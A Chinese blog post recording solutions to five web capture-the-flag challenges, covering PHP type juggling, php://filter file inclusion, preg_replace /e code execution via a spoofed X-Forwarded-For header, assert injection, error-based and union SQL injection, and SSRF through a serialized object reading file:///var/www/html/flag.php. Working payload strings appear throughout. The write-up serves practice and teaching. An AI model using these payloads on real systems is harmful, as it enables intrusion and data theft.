【Web】攻防世界 难度3 刷题记录(1)

目录

①lottery

②ics-05

③mfw

④simple_js

⑤fakebook 


感觉自己对一些综合题的熟练度不太够,专项训练一下

①lottery

抽奖赚钱,钱够9990000可买flag 

 

 

随便输一串数字抓包,然后查看到一个post请求,api.php,题目里面有附件,下载看一下源代码

关键部分如下,可以利用==,传入” true "来绕过判断

发现传入的是json数据,改传入内容:

{"action":"buy","numbers": [true,true,true,true,true,true,true]}

repeater反复发包刷钱,买flag

②ics-05

进来随便点一点,发现只有设备维护中心可以跳转

 

右键查看源码

 

有个链接点一下看看

 

发现文件包含点 ?page=

扫个目录看一下

读index.php源码

?page=php://filter/convert.base64-encode/resource=index.php

base64解码 


<?php
error_reporting(0);@session_start();
posix_setuid(1000);?>
<!DOCTYPE HTML>
<html><head><meta charset="utf-8"><meta name="renderer" content="webkit"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link rel="stylesheet" href="layui/css/layui.css" media="all"><title>设å¤ç»´æ¤ä¸­å¿</title><meta charset="utf-8">
</head><body><ul class="layui-nav"><li class="layui-nav-item layui-this"><a href="?page=index">äºå¹³å°è®¾å¤ç»´æ¤ä¸­å¿</a></li></ul><fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;"><legend>设å¤å表</legend></fieldset><table class="layui-hide" id="test"></table><script type="text/html" id="switchTpl"><!-- è¿éç checked çç¶æåªæ¯æ¼ç¤º --><input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="å¼|å³" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}></script><script src="layui/layui.js" charset="utf-8"></script><script>layui.use('table', function() {var table = layui.table,form = layui.form;table.render({elem: '#test',url: '/somrthing.json',cellMinWidth: 80,cols: [[{ type: 'numbers' },{ type: 'checkbox' },{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },{ field: 'name', title: '设å¤å', templet: '#nameTpl' },{ field: 'area', title: 'åºå' },{ field: 'status', title: 'ç»´æ¤ç¶æ', minWidth: 120, sort: true },{ field: 'check', title: '设å¤å¼å³', width: 85, templet: '#switchTpl', unresize: true }]],page: true});});</script><script>layui.use('element', function() {var element = layui.element; //导èªçhoverææãäºçº§èåç­åè½ï¼éè¦ä¾èµelement模å//çå¬å¯¼èªç¹å»element.on('nav(demo)', function(elem) {//console.log(elem)layer.msg(elem.text());});});</script><?php$page = $_GET[page];if (isset($page)) {if (ctype_alnum($page)) {
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?php echo $page; die();?></p><br /><br /><br /><br /><?php}else{?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?phpif (strpos($page, 'input') > 0) {die();}if (strpos($page, 'ta:text') > 0) {die();}if (strpos($page, 'text') > 0) {die();}if ($page === 'index.php') {die('Ok');}include($page);die();?></p><br /><br /><br /><br /><?php
}}//æ¹ä¾¿çå®ç°è¾å¥è¾åºçåè½,æ­£å¨å¼å中çåè½ï¼åªè½åé¨äººåæµè¯if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}}?></body></html>

关键在最后一段

preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行。

xff伪造后

/index.php?pat=/abc/e&rep=system("ls")&sub=abc

/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir;ls")&sub=abc

/index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=abc

③mfw

存在文件包含

信息搜集发现是git源码泄露

 利用点在assert

可以先闭合再执行

payload:

?page=') or system("cat templates/flag.php");//

(url中不认识#,可以用%23或者//来代替注释)

注意这里//并不会注释assert本身的括号,注释符是assert()开始执行时对里面的字符串内容才生效

④simple_js

进来就让输密码

 先随便输看回显

看一下js代码

一眼16进制转字符串

一眼assic码

放python里跑一下,得出flag 

arr=[55,56,54,79,115,69,114,116,107,49,50]
flag=''
for i in arr:flag+=chr(i)
print('flag:'+flag)

⑤fakebook 

经典之作,再回顾

 随便注册一个先

 点一下链接

url似乎发现了注入点

sqlmap没跑出来,无奈只能手注

判断出是数字型注入的同时发现有报错回显

直接报错注入 

?no=1 or updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'),1)%23

 ?no=1 or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),'^'),1)%23

 

?no=1 or updatexml(1,concat('^',(select group_concat(no,username,passwd,data) from users),'^'),1)%23

然而继续打并没有拿到flag

?no=1 or updatexml(1,substr(concat('^',(select group_concat(data) from users),'^'),1,31),1)%23

...

(或者?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users)

可以打出来完整的data,发现是序列化后的注册信息

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:13:"www.baidu.com";} 

目前为止还没什么头绪,再信息搜集一波

扫个目录

访问/robots.txt

访问/user.php.bak

下载附件,贴出源码

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

 这个地方是直接把blog当作参数传给get()函数,url没有经过任何限制,存在ssrf,可以使用file:///var/www/html/flag.php读取flag.php

这时候又注意到unserialize报错,1,2,3,4一个一个替换成序列化字符串去试 

最终payload:

payload:?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码

发现多出一个链接,点击即可

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/206346.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是AI PC:人工智能电脑?

大家好啊&#xff0c;我是董董灿。 今天在一个群聊里&#xff0c;聊到了关于 AI PC (人工智能电脑)的话题。 之前看到过关于 AI PC 的新闻&#xff0c;说的是联想集团董事长兼CEO杨元庆在一次演讲中提到了 AI PC 的概念&#xff0c;并且绘声绘色的描绘了AI PC 的发展前景。 下…

Gartner发布2024 年十大战略技术趋势

Gartner发布2024 年十大战略技术趋势 1. AI信任、风险和安全管理&#xff08;AI Trust, Risk and Security Management&#xff09;2.持续威胁暴露管理&#xff08;Continuous Threat Exposure Management&#xff09;3.可持续技术&#xff08;Sustainable Technology&#xff…

Golang开发之------ Beego框架

1.安装go&#xff08;配置环境变量&#xff09; 2.安装gorm&#xff08;Goland编辑器举例&#xff09;&#xff1a; go env -w GO111MODULEon go env -w GOPROXYhttps://goproxy.cn,direct 3.初始化项目&#xff08;首先需要在工作目录新建bin文件夹&#xff0c;pkg文件…

线性回归 调试方法

调试方法 特征缩放 对于某些不具有比较性的样本特征 x i x_i xi​ &#xff08;比如对其他的x来说 x i x_i xi​ 相当大或者相当小&#xff09;&#xff0c;梯度下降的过程可能会非常漫长&#xff0c;并且可能来回波动才能最后收敛到全局的最小值。 在这样的情况下&#xff…

【数据中台】开源项目(2)-Dbus系统架构

大体来说&#xff0c;Dbus支持两类数据源&#xff1a; RDBMS数据源 日志类数据源 1 RMDBMS类数据源的实现 以mysql为例子. 分为三个部分&#xff1a; 日志抽取模块(最新版DBus已经废弃该模块&#xff0c;使用canal直接输出到kafka) 增量转换模块 全量拉取模块 1.1 日志抽…

RabbitMQ之延迟消息实战

RabbitMQ之延迟消息实战 使用死信交换机实现延迟消息 使用死信交换机的过期时间以及没有消费者进行消费&#xff0c;时间到了就会到死信队列中&#xff0c;由此可以实现延迟消息使用延迟消息插件 前提&#xff1a;需要mq配置插件 延时信息案例实战 把一个30分钟的延迟消息可以…

【模电】基本共射放大电路的组成及各元件的作用

基本共射放大电路的组成及各元件的作用 下图所示为基本共射放大电路&#xff0c;晶体管是起放大作用的核心元件。输入信号 U ˙ i \.{U}\tiny i U˙i为正弦波电压。 当 u i 0 {u\tiny i}0 ui0时&#xff0c;称放大电路处于静态。在输入回路中&#xff0c;基极电源 V B B V\tin…

目录树自动生成器 golang+fyne

go tree 代码实现请看 gitee 仓库链接 有很多生成目录树的工具&#xff0c;比如windows自带的tree命令&#xff0c;nodejs的treer&#xff0c;tree-cli等等。这些工具都很成熟、很好用&#xff0c;有较完善的功能。 但是&#xff0c;这些工具全部是命令式的&#xff0c;如果…

CSS:浏览器设置placeholder样式 / 微信小程序设置placeholder样式

一、web 设置placeholder 设置浏览器的placeholder样式 ::-webkit-input-placeholder { /* WebKit browsers */color: #999; } :-moz-placeholder { /* Mozilla Firefox 4 to 18 */color: #999; } ::-moz-placeholder { /* Mozilla Firefox 19 */color: #999; } :-ms-input-p…

Rust UI开发(5):iced中如何进行页面布局(pick_list的使用)?(串口调试助手)

注&#xff1a;此文适合于对rust有一些了解的朋友 iced是一个跨平台的GUI库&#xff0c;用于为rust语言程序构建UI界面。 这是一个系列博文&#xff0c;本文是第五篇&#xff0c;前四篇链接&#xff1a; 1、Rust UI开发&#xff08;一&#xff09;&#xff1a;使用iced构建UI时…

市场调研:2023年SLG游戏行业需求及发展前景预测

SLG游戏(SLG游戏)一般指策略游戏&#xff0c;策略游戏是一种以取得各种形式胜利为主题的游戏。这类游戏提供给玩家一个可以动脑筋思考问题来处理较复杂事情的环境&#xff0c;允许玩家自由控制、管理和使用游戏中的人、或事物&#xff0c;通过这种自由的手段以及玩家们开动脑筋…

RK3568 android11 实现双路I2C触摸 --GT9xx

一&#xff0c;GT911 触摸屏简介 它的接口类型为 I2C &#xff0c;供电电压和通讯电压均为 3.3V 。这款电容触摸屏内置了上拉电阻&#xff0c;这意味着我们的开发板上与该触摸屏的接口处不需要设置上拉电阻。关于线序&#xff0c;同样是 GT911 &#xff0c;不同批次的器件都有…

Python自动化测试面试经典题

相信大家经历过许多面试都会有这样的感受&#xff1a;好不容易通过了 2 -3轮技术面试&#xff0c;但是薪资不够理想&#xff1b;要么被面试的测试专家虐的不要不要的。但每一次的面试也能让自己认识到不足之处&#xff0c;这样才有利于后续拿到理想的offer。 牛鹭学院的学子对…

【JavaWeb】HTMLCSSJavaScript

HTML&CSS&JavaScript 文章目录 HTML&CSS&JavaScript一、开发工具及在线帮助文档二、 HTML2.1 HTML&CSS&JavaScript的作用2.2 HTML基础结构2.3 HTML概念词汇解释2.4 HTML的语法规则2.5 常用标签 三、CSS3.1 引入方式3.2 CSS选择器3.3 CSS浮动3.4 CSS定位…

中信建投在金融电于化期刊发布 DataOps 实践

文 ‖ 中信建投证券股份有限公司 马丽霞 高宇航 李可 许哲 李海伟 近年来&#xff0c;数据的分析和应用对各行各工业的业务模式和竞争形态进行重塑&#xff0c;而积极应对挑战和顺应时代变化是各个市场参与者的必选项。作为资本市场数字化转型的领航者&#xff0c;中信建投证券…

【JMeter】菜单栏介绍

【菜单栏】 1. Tools 导入curl接口信息 作用&#xff1a;快速导入接口信息&#xff0c;响应头和缓存信息等 Log level临时修改日志等级 作用&#xff1a; 从勾选的level开始往更高等级level抓取log日志等级优先级&#xff1a; ALL < TRACE < DEBUG <INFO<WA…

赛题详解第二弹|215G数据集,148w奖金!2023无锡国际人工智能算法大赛

各位人工智能卓越的推动者们&#xff0c;我们诚邀您参与【2023年无锡国际人工智能算法大赛】&#xff0c;探索未来AI创新的巅峰之战&#xff01; 报名链接&#xff1a;https://sourl.cn/sYXEH2 【大赛进程】 12月11日12:00&#xff1a;报名及初赛截止 12月12日-12月15日&…

python爬虫实习找工作练习测试(以下内容仅供参考学习)

要求&#xff1a;获取下图指定网站的指定数据 空气质量状况报告-中国环境监测总站 输入&#xff1a;用户输入下载时间范围&#xff0c;格式为2022-10 输出&#xff1a;将更新时间在2022年10月1日到31日之间的文件下载到本地目录&#xff08;可配置&#xff09;&#xff0c;并…

浏览器如何读取本地Excel表格

浏览器可以读取Excel表格数据吗&#xff1f; 答案是否定的&#xff0c;目前主流浏览器都无法打开本地Excel文档。 答案也是肯定的&#xff0c;这就来看看具体实现方法&#xff01;&#xff01;&#xff01; 首先准备一个Excel表格文件 保存在D:\\temp\测试表.xls…

MySQL基本SQL语句(下)

MySQL基本SQL语句&#xff08;下&#xff09; 一、扩展常见的数据类型 1、回顾数据表的创建语法 基本语法&#xff1a; mysql> create table 数据表名称(字段名称1 字段类型 字段约束,字段名称2 字段类型 字段约束,...primary key(主键字段 > 不能为空、必须唯一) ) …